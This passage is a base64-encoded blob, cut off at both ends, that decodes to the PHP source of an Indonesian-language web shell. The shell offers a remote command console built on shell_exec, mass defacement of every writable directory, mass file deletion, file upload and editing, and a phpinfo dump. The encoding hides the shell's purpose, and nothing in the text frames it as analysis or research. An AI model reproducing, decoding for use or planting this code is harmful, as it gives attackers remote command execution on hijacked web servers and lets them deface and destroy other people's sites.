91dGxpbmUtbGlnaHQgYnRuLXNtJyBocmVmPSc/bWFzc19kZWxldGUmcGF0aD0kcGF0aCc+PGkgY2xhc3M9J2JpIGJpLXRyYXNoJz48L2k+IG1hc3MgZGVsZXRlPC9hPgoJCTxhIGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyBocmVmPSc/Y21kJnBhdGg9JHBhdGgnPjxpIGNsYXNzPSdiaSBiaS10ZXJtaW5hbCc+PC9pPiBjb25zb2xlPC9hPgoJPC9kaXY+CjwvZGl2PiI7Ci8vIHRvb2xzIG55YQppZihpc3NldCgkX0dFVFsncGF0aCddKSkgewoJJGRpciA9ICRfR0VUWydwYXRoJ107CgljaGRpcigkZGlyKTsKfWVsc2V7CgkkZGlyID0gZ2V0Y3dkKCk7Cn0KJGRpciA9IHN0cl9yZXBsYWNlKCJcXCIsIi8iLCRkaXIpOwokc2NkaXIgPSBleHBsb2RlKCIvIiwgJGRpcik7CQpmb3IoJGkgPSAwOyAkaSA8PSAkY19kaXI7ICRpKyspIHsKCSRzY2RpclskaV07CglpZigkaSAhPSAkY19kaXIpIHsKfQppZihpc3NldCgkX0dFVFsnbWFzc19kZWZhY2UnXSkpIHsKZWNobyAiJF9zIjsKZnVuY3Rpb24gbWFzc19rYWJlaCgkZGlyLCRuYW1hZmlsZSwkaXNpX3NjcmlwdCkgewppZihpc193cml0YWJsZSgkZGlyKSkgewoJJGRpcmEgPSBzY2FuZGlyKCRkaXIpOwoJZm9yZWFjaCgkZGlyYSBhcyAkZGlyYikgewoJCSRkaXJjID0gIiRkaXIvJGRpcmIiOwoJCSTilpogPSAkZGlyYy4nLycuJG5hbWFmaWxlOwoJCWlmKCRkaXJiID09PSAnLicpIHsKCQkJZmlsZV9wdXRfY29udGVudHMoJOKWmiwgJGlzaV9zY3JpcHQpOwoJCX0gZWxzZWlmKCRkaXJiID09PSAnLi4nKSB7CgkJCWZpbGVfcHV0X2NvbnRlbnRzKCTilposICRpc2lfc2NyaXB0KTsKCQl9ZWxzZXsKCQkJaWYoaXNfZGlyKCRkaXJjKSkgewoJCQkJaWYoaXNfd3JpdGFibGUoJGRpcmMpKSB7CgkJCQkJZWNobyAiWzxncj48aSBjbGFzcz0nYmkgYmktY2hlY2stYWxsJz48L2k+PC9ncj5dJm5ic3A7JOKWmjxicj4iOwoJCQkJCWZpbGVfcHV0X2NvbnRlbnRzKCTilposICRpc2lfc2NyaXB0KTsKCQkJCQkk4pafID0gbWFzc19rYWJlaCgkZGlyYywkbmFtYWZpbGUsJGlzaV9zY3JpcHQpOwoJCQkJCX0KCQkJCX0KCQkJfQoJCX0KCX0KfQpmdW5jdGlvbiBtYXNzX2JpYXNhKCRkaXIsJG5hbWFmaWxlLCRpc2lfc2NyaXB0KSB7CglpZihpc193cml0YWJsZSgkZGlyKSkgewoJCSRkaXJhID0gc2NhbmRpcigkZGlyKTsKCQlmb3JlYWNoKCRkaXJhIGFzICRkaXJiKSB7CgkJCSRkaXJjID0gIiRkaXIvJGRpcmIiOwoJCQkk4paaID0gJGRpcmMuJy8nLiRuYW1hZmlsZTsKCQkJaWYoJGRpcmIgPT09ICcuJykgewoJCQkJZmlsZV9wdXRfY29udGVudHMoJOKWmiwgJGlzaV9zY3JpcHQpOwoJCQl9IGVsc2VpZigkZGlyYiA9PT0gJy4uJykgewoJCQkJZmlsZV9wdXRfY29udGVudHMoJOKWmiwgJGlzaV9zY3JpcHQpOwoJCQl9ZWxzZXsKCQkJCWlmKGlzX2RpcigkZGlyYykpIHsKCQkJCQlpZihpc193cml0YWJsZSgkZGlyYykpIHsKCQkJCQkJZWNobyAiWzxncj48aSBjbGFzcz0nYmkgYmktY2hlY2stYWxsJz48L2k+PC9ncj5dJm5ic3A7JGRpcmIvJG5hbWFmaWxlPGJyPiI7CgkJCQkJCWZpbGVfcHV0X2NvbnRlbnRzKCTilposICRpc2lfc2NyaXB0KTsKCQkJCQl9CgkJCQl9CgkJCX0KCQl9Cgl9Cn0KaWYoJF9QT1NUWydzdGFydCddKSB7CglpZigkX1BPU1RbJ3RpcGUnXSA9PSAnbWFzc2FsJykgewoJbWFzc19rYWJlaCgkX1BPU1RbJ2RfZGlyJ10sICRfUE9TVFsnZF9maWxlJ10sICRfUE9TVFsnc2NyaXB0J10pOwoJfSBlbHNlaWYoJF9QT1NUWyd0aXBlJ10gPT0gJ2JpYXNhJykgewoJbWFzc19iaWFzYSgkX1BPU1RbJ2RfZGlyJ10sICRfUE9TVFsnZF9maWxlJ10sICRfUE9TVFsnc2NyaXB0J10pOwoJfQp9CmVjaG8gIgo8ZGl2IGNsYXNzPSdtYi0zJz4KCTxmb3JtIG1ldGhvZD0nUE9TVCc+IFRpcGU6Cgk8ZGl2IGNsYXNzPSdmb3JtLWNoZWNrJz4KCQk8aW5wdXQgY2xhc3M9J2Zvcm0tY2hlY2staW5wdXQnIHR5cGU9J2NoZWNrYm94JyB2YWx1ZT0nYmlhc2EnIG5hbWU9J3RpcGUnIGlkPSdmbGV4Q2hlY2tEZWZhdWx0JyBjaGVja2VkPgoJCTxsYWJlbCBjbGFzcz0nZm9ybS1jaGVjay1sYWJlbCcgZm9yPSdmbGV4Q2hlY2tEZWZhdWx0Jz5CaWFzYTwvbGFiZWw+Cgk8L2Rpdj4KCTxkaXYgY2xhc3M9J2Zvcm0tY2hlY2snPgoJCTxpbnB1dCBjbGFzcz0nZm9ybS1jaGVjay1pbnB1dCcgdHlwZT0nY2hlY2tib3gnIHZhbHVlPSdtYXNzYWwnIG5hbWU9J3RpcGUnIGlkPSdmbGV4Q2hlY2tEZWZhdWx0Jz4KCQk8bGFiZWwgY2xhc3M9J2Zvcm0tY2hlY2stbGFiZWwnIGZvcj0nZmxleENoZWNrRGVmYXVsdCc+TWFzc2FsPC9sYWJlbD4KCTwvZGl2PgoJCTxpIGNsYXNzPSdiaSBiaS1mb2xkZXInPjwvaT4gTG9rYXNpOgoJCTxpbnB1dCBjbGFzcz0nZm9ybS1jb250cm9sIGJ0bi1zbScgdHlwZT0ndGV4dCcgbmFtZT0nZF9kaXInIHZhbHVlPSckZGlyJz4KCQk8aSBjbGFzcz0nYmkgYmktZmlsZS1lYXJtYXJrJz48L2k+IE5hbWEgZmlsZToKCQk8aW5wdXQgY2xhc3M9J2Zvcm0tY29udHJvbCBidG4tc20nIHR5cGU9J3RleHQnIG5hbWU9J2RfZmlsZScgcGxhY2Vob2xkZXI9J25hbWEgZmlsZScgJF9yPgoJCTxpIGNsYXNzPSdiaSBiaS1maWxlLWVhcm1hcmsnPjwvaT4gSXNpIGZpbGU6CgkJPHRleHRhcmVhIGNsYXNzPSdmb3JtLWNvbnRyb2wgYnRuLXNtJyByb3dzPSc3JyBuYW1lPSdzY3JpcHQnIHBsYWNlaG9sZGVyPSdpc2kgZmlsZScgJF9yPjwvdGV4dGFyZWE+CgkJPGRpdiBjbGFzcz0nZC1ncmlkIGdhcC0yJz4KCQkJPGlucHV0IGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyB0eXBlPSdzdWJtaXQnIG5hbWU9J3N0YXJ0JyB2YWx1ZT0nbWFzcyBkZWZhY2UnPgoJCTwvZGl2PgoJPC9mb3JtPgo8L2Rpdj4iOwp9CmlmKGlzc2V0KCRfR0VUWydtYXNzX2RlbGV0ZSddKSkgewplY2hvICIkX3MiOwpmdW5jdGlvbiBoYXB1c19tYXNzYWwoJGRpciwkbmFtYWZpbGUpIHsKaWYoaXNfd3JpdGFibGUoJGRpcikpIHsKCSRkaXJhID0gc2NhbmRpcigkZGlyKTsKCWZvcmVhY2goJGRpcmEgYXMgJGRpcmIpIHsKCQkkZGlyYyA9ICIkZGlyLyRkaXJiIjsKCQkk4paaID0gJGRpcmMuJy8nLiRuYW1hZmlsZTsKCQlpZigkZGlyYiA9PT0gJy4nKSB7CgkJCWlmKGZpbGVfZXhpc3RzKCIkZGlyLyRuYW1hZmlsZSIpKSB7CgkJCQl1bmxpbmsoIiRkaXIvJG5hbWFmaWxlIik7CgkJCX0KCQl9IGVsc2VpZigkZGlyYiA9PT0gJy4uJykgewoJCQlpZihmaWxlX2V4aXN0cygiIi5kaXJuYW1lKCRkaXIpLiIvJG5hbWFmaWxlIikpIHsKCQkJCXVubGluaygiIi5kaXJuYW1lKCRkaXIpLiIvJG5hbWFmaWxlIik7CgkJCX0KCQl9ZWxzZXsKCQkJaWYoaXNfZGlyKCRkaXJjKSkgewoJCQkJaWYoaXNfd3JpdGFibGUoJGRpcmMpKSB7CgkJCQkJaWYoZmlsZV9leGlzdHMoJOKWmikpIHsKCQkJCQkJZWNobyAiWzxncj48aSBjbGFzcz0nYmkgYmktY2hlY2stYWxsJz48L2k+PC9ncj5dJm5ic3A7JOKWmjxicj4iOwoJCQkJCQl1bmxpbmsoJOKWmik7CgkJCQkJCSTilp8gPSBoYXB1c19tYXNzYWwoJGRpcmMsJG5hbWFmaWxlKTsKCQkJCQkJfQoJCQkJCX0KCQkJCX0KCQkJfQoJCX0KCX0KfQppZigkX1BPU1RbJ3N0YXJ0J10pIHsKCWhhcHVzX21hc3NhbCgkX1BPU1RbJ2RfZGlyJ10sICRfUE9TVFsnZF9maWxlJ10pOwp9CmVjaG8gIgo8ZGl2IGNsYXNzPSdtYi0zJz4KCTxmb3JtIG1ldGhvZD0nUE9TVCc+CgkJPGkgY2xhc3M9J2JpIGJpLWZvbGRlcic+PC9pPiBMb2thc2k6CgkJPGlucHV0IGNsYXNzPSdmb3JtLWNvbnRyb2wgYnRuLXNtJyB0eXBlPSd0ZXh0JyBuYW1lPSdkX2RpcicgdmFsdWU9JyRkaXInPgoJCQk8aSBjbGFzcz0nYmkgYmktZmlsZS1lYXJtYXJrJz48L2k+IE5hbWEgZmlsZToKCQk8ZGl2IGNsYXNzPSdpbnB1dC1ncm91cCBtYi0zJz4KCQkJPGlucHV0IGNsYXNzPSdmb3JtLWNvbnRyb2wgYnRuLXNtJyB0eXBlPSd0ZXh0JyBuYW1lPSdkX2ZpbGUnIHBsYWNlaG9sZGVyPSduYW1hIGZpbGUnICRfcj48YnI+CgkJPGRpdiBjbGFzcz0naW5wdXQtZ3JvdXAtYXBwZW5kJz4KCQkJPGlucHV0IGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyB0eXBlPSdzdWJtaXQnIG5hbWU9J3N0YXJ0JyB2YWx1ZT0nbWFzcyBkZWxldGUnPgoJCTwvZGl2PgoJPC9mb3JtPgo8L2Rpdj4iOwp9CmlmKGlzc2V0KCRfR0VUWydjbWQnXSkpIHsKaWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pKSB7CgkkY21kID0gc2hlbGxfZXhlYygkX1BPU1RbJ2NtZCddLicgMj4mMScpOwp9CmVjaG8gIiRfcwo8ZGl2IGNsYXNzPSdtYi0zJz4KCTxmb3JtIG1ldGhvZD0nUE9TVCc+CgkJPGRpdiBjbGFzcz0naW5wdXQtZ3JvdXAgbWItMyc+CgkJCTxpbnB1dCBjbGFzcz0nZm9ybS1jb250cm9sIGJ0bi1zbScgdHlwZT0ndGV4dCcgbmFtZT0nY21kJyB2YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnY21kJ10sIEVOVF9RVU9URVMsICdVVEYtOCcpLiInIHBsYWNlaG9sZGVyPSd3aG9hbWknICRfcj4KCQkJPGJ1dHRvbiBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgdHlwZT0nc3VtYml0Jz48aSBjbGFzcz0nYmkgYmktYXJyb3ctcmV0dXJuLXJpZ2h0Jz48L2k+PC9idXR0b24+CgkJPC9kaXY+Cgk8L2Zvcm0+IjsKCWlmKCRjbWQpOgoJZWNobyAnCgk8ZGl2IGNsYXNzPSJjb250YWluZXItZmx1aWQgbGFuZ3VhZ2UtamF2YXNjcmlwdCI+CgkJPGRpdiBjbGFzcz0ic2hlbGwgbWItMyI+CgkJCTxwcmUgc3R5bGU9ImZvbnQtc2l6ZToxMHB4OyI+PGNvZGU+Jy5odG1sc3BlY2lhbGNoYXJzKCRjbWQsIEVOVF9RVU9URVMsICdVVEYtOCcpLic8L2NvZGU+PC9wcmU+CgkJPC9kaXY+Cgk8L2Rpdj4nOwoJZWxzZWlmKCEkY21kICYmICRfU0VSVkVSWydSRVFVRVNUX01FVEhPRCddID09ICdQT1NUJyk6CgllY2hvICcKCTxkaXYgY2xhc3M9ImNvbnRhaW5lci1mbHVpZCBsYW5ndWFnZS1qYXZhc2NyaXB0Ij4KCQk8ZGl2IGNsYXNzPSJzaGVsbCBtYi0zIj4KCQkJPHByZSBzdHlsZT0iZm9udC1zaXplOjEwcHg7Ij48Y29kZT5UaWRhayBhZGEgaGFzaWw8L2NvZGU+PC9wcmU+CgkJPC9kaXY+Cgk8L2Rpdj4KPC9kaXY+JzsKZW5kaWY7Cn0KaWYoaXNzZXQoJF9HRVRbJ3BocGluZm8nXSkpIHsKCUBvYl9zdGFydCgpOwoJQGV2YWwoInBocGluZm8oKTsiKTsKCSRidWZmID0gQG9iX2dldF9jb250ZW50cygpOwoJQG9iX2VuZF9jbGVhbigpOwkKCSRhd2FsID0gc3RycG9zKCRidWZmLCI8Ym9keT4iKSs2OwoJJGFraGlyID0gc3RycG9zKCRidWZmLCI8L2JvZHk+Iik7CgllY2hvICI8Yj48cHJlIGNsYXNzPSdwaHBfaW5mbyBhbnUnPiIuc3Vic3RyKCRidWZmLCRhd2FsLCRha2hpci0kYXdhbCkuIjwvcHJlPjwvYj4iOwoJZXhpdDsKfQppZihpc3NldCgkX0dFVFsndXBsb2FkJ10pKSB7CmVjaG8gIiRfcyI7CmlmKGlzc2V0KCRfUE9TVFsndXBsJ10pKXsKCSRoYXNpbCA9IGNvdW50KCRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKTsKCWZvcigkaXNpPTA7JGlzaTwkaGFzaWw7JGlzaSsrKXsKCQkkbmFtYWZpbGUgPSAkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXVskaXNpXTsKCQkJJHVwID0gQGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddWyRpc2ldLCIkcGF0aC8iLiRuYW1hZmlsZSk7CgkJfQoJCWlmKCRoYXNpbCA8IDIpewoJCQlpZigkdXApewoJCQllY2hvICI8c3Ryb25nPlVwbG9hZDwvc3Ryb25nPiAkbmFtYWZpbGUgb2shICIub2soKS4iPC9kaXY+IjsKCQl9ZWxzZXsKCQllY2hvICc8c3Ryb25nPlVwbG9hZDwvc3Ryb25nPiBnYWdhbCEgJy5lcigpLic8L2Rpdj4nOwoJCX0KCX1lbHNlewoJZWNobyAiPHN0cm9uZz5VcGxvYWQ8L3N0cm9uZz4gJGhhc2lsIG9rISAiLm9rKCkuIjwvZGl2PiI7Cgl9Cn0KZWNobyAiCjxkaXYgY2xhc3M9J21iLTMnPgoJPGZvcm0gbWV0aG9kPSdQT1NUJyBlbmN0eXBlPSdtdWx0aXBhcnQvZm9ybS1kYXRhJz4KCQk8ZGl2IGNsYXNzPSdpbnB1dC1ncm91cCBtYi0zJz4KCQkJPGlucHV0IGNsYXNzPSdmb3JtLWNvbnRyb2wgZm9ybS1jb250cm9sLXNtJyB0eXBlPSdmaWxlJyBuYW1lPSdmaWxlW10nIG11bHRpcGxlPScnICRfcj4KCQkJPGlucHV0IGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyB0eXBlPSdzdWJtaXQnIG5hbWU9J3VwbCcgdmFsdWU9J3VwbG9hZCc+CgkJPC9kaXY+Cgk8L2Zvcm0+CjwvZGl2PiI7Cn0KaWYoaXNzZXQoJF9HRVRbJ2ZpbGViYXJ1J10pKSB7CmVjaG8gIiRfcyI7CmlmKGlzc2V0KCRfUE9TVFsnYmlraW4nXSkpewoJJG5hbWUgPSAkX1BPU1RbJ25hbWFfZmlsZSddOwoJJGlzaV9maWxlID0gJF9QT1NUWydpc2lfZmlsZSddOwoJZm9yZWFjaCAoJG5hbWUgYXMgJG5hbWFfZmlsZSl7CgkJJGhhbmRsZSA9IEBmb3BlbigiJG5hbWFfZmlsZSIsICJ3Iik7CgkJaWYoJGlzaV9maWxlKXsKCQkJJGJ1YXQgPSBAZndyaXRlKCRoYW5kbGUsICRpc2lfZmlsZSk7CgkJfWVsc2V7CgkJCSRidWF0ID0gJGhhbmRsZTsKCQl9Cgl9CglpZigkYnVhdCl7CgkJZWNobyAiPHNjcmlwdD53aW5kb3cubG9jYXRpb249Jz9wYXRoPSRwYXRoJzwvc2NyaXB0PiI7Cgl9ZWxzZXsKCQllY2hvICc8c3Ryb25nPkJ1YXQgZmlsZTwvc3Ryb25nPiBnYWdhbCEgJy5lcigpLic8L2Rpdj4nOwoJCX0KCX0KZWNobyAiCjxkaXYgY2xhc3M9J21iLTMnPgoJPGZvcm0gbWV0aG9kPSdQT1NUJz4KCQk8aSBjbGFzcz0nYmkgYmktZmlsZS1lYXJtYXJrJz48L2k+IE5hbWEgZmlsZToKCQk8aW5wdXQgY2xhc3M9J2Zvcm0tY29udHJvbCBmb3JtLWNvbnRyb2wtc20nIHR5cGU9J3RleHQnIG5hbWU9J25hbWFfZmlsZVtdJyBwbGFjZWhvbGRlcj0nTmFtYSBmaWxlJyAkX3I+CgkJPGkgY2xhc3M9J2JpIGJpLWZpbGUtZWFybWFyayc+PC9pPiBJc2kgZmlsZToKCQk8dGV4dGFyZWEgY2xhc3M9J2Zvcm0tY29udHJvbCBmb3JtLWNvbnRyb2wtc20nIG5hbWU9J2lzaV9maWxlJyByb3dzPSc3JyBwbGFjZWhvbGRlcj0nSXNpIGZpbGUnICRfciA+PC90ZXh0YXJlYT4KCQk8ZGl2IGNsYXNzPSdkLWdyaWQgZ2FwLTInPgoJCQk8aW5wdXQgY2xhc3M9J2J0biBidG4tb3V0bGluZS1saWdodCBidG4tc20nIHR5cGU9J3N1Ym1pdCcgbmFtZT0nYmlraW4nIHZhbHVlPSdidWF0Jz4KCQk8L2Rpdj4KCTwvZm9ybT4KPC9kaXY+IjsKfQppZihpc3NldCgkX0dFVFsnZGlyYmFydSddKSkgewplY2hvICIkX3MiOwppZihpc3NldCgkX1BPU1RbJ2J1YXQnXSkpewoJJG5hbWEgPSAkX1BPU1RbJ25hbWFfZGlyJ107Cglmb3JlYWNoICgkbmFtYSBhcyAkbmFtYV9kaXIpewoJCSRmb2xkZXIgPSBwcmVnX3JlcGxhY2UoIihbXlx3XHNcZFwtX34sOzpcW1xdXChcXS5dfFtcLl17Mix9KSIsICcnLCAkbmFtYV9kaXIpOwoJCSRmZCA9IEBta2RpciAoJGZvbGRlcik7Cgl9CglpZigkZmQpewoJCWVjaG8gIjxzY3JpcHQ+d2luZG93LmxvY2F0aW9uPSc/cGF0aD0kcGF0aCc8L3NjcmlwdD4iOwoJfWVsc2V7CgkJZWNobyAnPHN0cm9uZz5CdWF0IGRpcjwvc3Ryb25nPiBnYWdhbCEgJy5lcigpLic8L2Rpdj4nOwoJCX0KCX0KZWNobyAiCjxkaXYgY2xhc3M9J21iLTMnPgoJPGZvcm0gbWV0aG9kPSdQT1NUJz4KCQk8aSBjbGFzcz0nYmkgYmktZm9sZGVyJz48L2k+IE5hbWEgZGlyOgoJCTxkaXYgY2xhc3M9J2lucHV0LWdyb3VwIG1iLTMnPgoJCQk8aW5wdXQgY2xhc3M9J2Zvcm0tY29udHJvbCBmb3JtLWNvbnRyb2wtc20nIHR5cGU9J3RleHQnIG5hbWU9J25hbWFfZGlyW10nIHBsYWNlaG9sZGVyPSdOYW1hIGRpcicgJF9yPgoJCQk8aW5wdXQgY2xhc3M9J2J0biBidG4tb3V0bGluZS1saWdodCBidG4tc20nIHR5cGU9J3N1Ym1pdCcgbmFtZT0nYnVhdCcgdmFsdWU9J2J1YXQnPgoJCTwvZGl2PgoJPC9mb3JtPgo8L2Rpdj4iOwoJfQp9Ci8vIGFraGlyIHRvb2xzCmlmKGlzc2V0KCRfR0VUWydmaWxlc3JjJ10pKXsKZWNobyAiPGJyPjxiPm5hbWUgOiA8L2I+Ii5iYXNlbmFtZSgkX0dFVFsnZmlsZXNyYyddKTsiPC9icj4iOwplY2hvICcKPGRpdiBjbGFzcz0iY29udGFpbmVyLWZsdWlkIGxhbmd1YWdlLWphdmFzY3JpcHQiPgoJPGRpdiBjbGFzcz0ic2hlbGwgbWItMyI+CgkJPHByZSBzdHlsZT0iZm9udC1zaXplOjEycHg7Ij48Y29kZT4nLmh0bWxzcGVjaWFsY2hhcnMoZmlsZV9nZXRfY29udGVudHMoJF9HRVRbJ2ZpbGVzcmMnXSkpLic8L2NvZGU+PC9wcmU+Cgk8L2Rpdj4KPC9kaXY+JzsKfSBlbHNlaWYoaXNzZXQoJF9HRVRbJ29wdGlvbiddKSAmJiAkX1BPU1RbJ29wdCddICE9ICdoYXB1cycpewplY2hvICc8YnI+PGI+bmFtZSA6IDwvYj4nLmJhc2VuYW1lKCRfUE9TVFsncGF0aCddKTsnPC9icj4nOwovLyBmaWxlCmlmKCRfUE9TVFsnb3B0J10gPT0gJ2dhbnRpX25hbWEnKXsKaWYoaXNzZXQoJF9QT1NUWyduYW1hX2JhcnUnXSkpewppZihyZW5hbWUoJF9QT1NUWydwYXRoJ10sJHBhdGguJy8nLiRfUE9TVFsnbmFtYV9iYXJ1J10pKXsKZWNobyAiPHNjcmlwdD53aW5kb3cubG9jYXRpb249Jz9wYXRoPSRwYXRoJzwvc2NyaXB0PiI7Cgl9ZWxzZXsKZWNobyAnPHN0cm9uZz5HYW50aSBuYW1hPC9zdHJvbmc+IGdhZ2FsISAnLmVyKCkuJzwvZGl2Pic7Cn0KJF9QT1NUWyduYW1lJ10gPSAkX1BPU1RbJ25hbWFfYmFydSddOwp9CmVjaG8gJwo8Zm9ybSBtZXRob2Q9IlBPU1QiPgoJPGRpdiBjbGFzcz0iaW5wdXQtZ3JvdXAgbWItMyI+CgkJPGlucHV0IGNsYXNzPSJmb3JtLWNvbnRyb2wgZm9ybS1jb250cm9sLXNtIiBuYW1lPSJuYW1hX2JhcnUiIHR5cGU9InRleHQiIHZhbHVlPSInLiRfUE9TVFsnbmFtZSddLiciIC8+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRfUE9TVFsncGF0aCddLiciPgoJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImdhbnRpX25hbWEiPgoJCTxpbnB1dCBjbGFzcz0iYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbSIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iZ2FudGkgbmFtYSIvPgoJPC9kaXY+CjwvZm9ybT4nOwp9IGVsc2VpZigkX1BPU1RbJ29wdCddID09ICdlZGl0Jyl7CmlmKGlzc2V0KCRfUE9TVFsnc3JjJ10pKXsKJGZwID0gZm9wZW4oJF9QT1NUWydwYXRoJ10sJ3cnKTsKaWYoZndyaXRlKCRmcCwkX1BPU1RbJ3NyYyddKSl7CmVjaG8gJzxzdHJvbmc+RWRpdDwvc3Ryb25nPiBvayEgJy5vaygpLic8L2Rpdj4nOwoJfWVsc2V7CmVjaG8gJzxzdHJvbmc+RWRpdDwvc3Ryb25nPiBnYWdhbCEgJy5lcigpLic8L2Rpdj4nOwp9CmZjbG9zZSgkZnApOwp9CmVjaG8gJwo8ZGl2IGNsYXNzPSJtYi0zIj4KCTxmb3JtIG1ldGhvZD0iUE9TVCI+CgkJPHRleHRhcmVhIGNsYXNzPSJmb3JtLWNvbnRyb2wgZm9ybS1jb250cm9sLXNtIG1iLTMiIHJvd3M9IjciIG5hbWU9InNyYyI+Jy5odG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRfUE9TVFsncGF0aCddKSkuJzwvdGV4dGFyZWE+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRfUE9TVFsncGF0aCddLiciPgoJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJlZGl0Ij4KCQk8ZGl2IGNsYXNzPSJkLWdyaWQgZ2FwLTIiPgoJCQk8aW5wdXQgY2xhc3M9ImJ0biBidG4tb3V0bGluZS1saWdodCBidG4tc20iIHR5cGU9InN1Ym1pdCIgdmFsdWU9ImVkaXQiLz4KCQk8L2Rpdj4KCTwvZm9ybT4KPC9kaXY+JzsKCX0KfWVsc2V7Ci8vaGFwdXMgZGlyICYgZmlsZQppZihpc3NldCgkX0dFVFsnb3B0aW9uJ10pICYmICRfUE9TVFsnb3B0J10gPT0gJ2hhcHVzJyl7CmlmKCRfUE9TVFsndHlwZSddID09ICdkaXInKXsKaWYocm1kaXIoJF9QT1NUWydwYXRoJ10pKXsKCWVjaG8gIjxzY3JpcHQ+d2luZG93LmxvY2F0aW9uPSc/cGF0aD0kcGF0aCc8L3NjcmlwdD4iOwoJfWVsc2V7CgllY2hvICc8c3Ryb25nPkhhcHVzIGRpcjwvc3Ryb25nPiBnYWdhbCEgJy5lcigpLic8L2Rpdj4nOwoJfQp9IGVsc2VpZigkX1BPU1RbJ3R5cGUnXSA9PSAnZmlsZScpewppZih1bmxpbmsoJF9QT1NUWydwYXRoJ10pKXsKCWVjaG8gIjxzY3JpcHQ+d2luZG93LmxvY2F0aW9uPSc/cGF0aD0kcGF0aCc8L3NjcmlwdD4iOwoJfWVsc2V7CgllY2hvICc8c3Ryb25nPkhhcHVzIGZpbGU8L3N0cm9uZz4gZ2FnYWwhICcuZXIoKS4nPC9kaXY+JzsKCQl9Cgl9Cn0KJHNjYW5kaXIgPSBzY2FuZGlyKCRwYXRoKTsKJHBhID0gZ2V0Y3dkKCk7CmVjaG8gJwo8ZGl2IGNsYXNzPSJ0YWJsZS1yZXNwb25zaXZlIj4KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciB0YWJsZS1kYXJrIHRleHQtbGlnaHQiPgo8dGhlYWQ+Cjx0cj4KCTx0ZCBjbGFzcz0idGV4dC1jZW50ZXIiPm5hbWU8L3RkPgoJCTx0ZCBjbGFzcz0idGV4dC1jZW50ZXIiPmxhc3QgZWRpdDwvdGQ+CgkJPHRkIGNsYXNzPSJ0ZXh0LWNlbnRlciI+c2l6ZTwvdGQ+CgkJPHRkIGNsYXNzPSJ0ZXh0LWNlbnRlciI+b3duZXI8Z3I+OjwvZ3I+ZG93bmVyPC90ZD4KCQk8dGQgY2xhc3M9InRleHQtY2VudGVyIj5wZXJtaXNzaW9uPC90ZD4KCTx0ZCBjbGFzcz0idGV4dC1jZW50ZXIiPm9wdGlvbnM8L3RkPgo8L3RyPgo8L3RoZWFkPgo8dGJvZHkgY2xhc3M9InRleHQtbm93cmFwIj4KPHRyPgoJPHRkPjxpIGNsYXNzPSJiaSBiaS1mb2xkZXIyLW9wZW4iPjwvaT48YSBjbGFzcz0idGV4dC1kZWNvcmF0aW9uLW5vbmUgdGV4dC1zZWNvbmRhcnkiIGhyZWY9Ij9wYXRoPScuZGlybmFtZSgkZGlyKS4nIj4uLjwvYT48L3RkPjx0ZD48L3RkPjx0ZD48L3RkPjx0ZD48L3RkPjx0ZD48L3RkPjx0ZCBjbGFzcz0idGV4dC1jZW50ZXIiPgoJCTxkaXYgY2xhc3M9ImJ0bi1ncm91cCI+CgkJCTxhIGNsYXNzPSJidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtIiBocmVmPSI/ZmlsZWJhcnUmcGF0aD0nLiRkaXIuJyI+PGkgY2xhc3M9ImJpIGJpLWZpbGUtZWFybWFyay1wbHVzLWZpbGwiPjwvaT48L2E+CgkJCTxhIGNsYXNzPSJidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtIiBocmVmPSI/ZGlyYmFydSZwYXRoPScuJGRpci4nIj48aSBjbGFzcz0iYmkgYmktZm9sZGVyLXBsdXMiPjwvaT48L2E+CgkJPC9kaXY+Cgk8L3RkPgo8L3RyPic7CmZvcmVhY2goJHNjYW5kaXIgYXMgJGRpcil7CgkkZHQgPSBkYXRlKCJZLW0tZCBIOmk6cyIsIGZpbGVtdGltZSgiJHBhdGgvJGRpciIpKTsKCWlmKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0cHd1aWQnKSkgewoJCSRkb3duZXIgPSBAcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCIkcGF0aC8kZGlyIikpOwoJCSRkb3duZXIgPSAkZG93bmVyWyduYW1lJ107Cgl9ZWxzZXsKCQkkZG93bmVyID0gZmlsZW93bmVyKCIkcGF0aC8kZGlyIik7Cgl9CglpZihmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGdyZ2lkJykpIHsKCQkkZGdycCA9IEBwb3NpeF9nZXRncmdpZChmaWxlZ3JvdXAoIiRwYXRoLyRkaXIiKSk7CgkJJGRncnAgPSAkZGdycFsnbmFtZSddOwoJfWVsc2V7CgkJJGRncnAgPSBmaWxlZ3JvdXAoIiRwYXRoLyRkaXIiKTsKCX0KaWYoIWlzX2RpcigiJHBhdGgvJGRpciIpIHx8ICRkaXIgPT0gJy4nIHx8ICRkaXIgPT0gJy4uJykgY29udGludWU7CmVjaG8gIgo8dHI+Cgk8dGQ+PGkgY2xhc3M9J2JpIGJpLWZvbGRlci1maWxsJz48L2k+PGEgY2xhc3M9J3RleHQtZGVjb3JhdGlvbi1ub25lIHRleHQtc2Vjb25kYXJ5JyBocmVmPVwiP3BhdGg9JHBhdGgvJGRpclwiPiR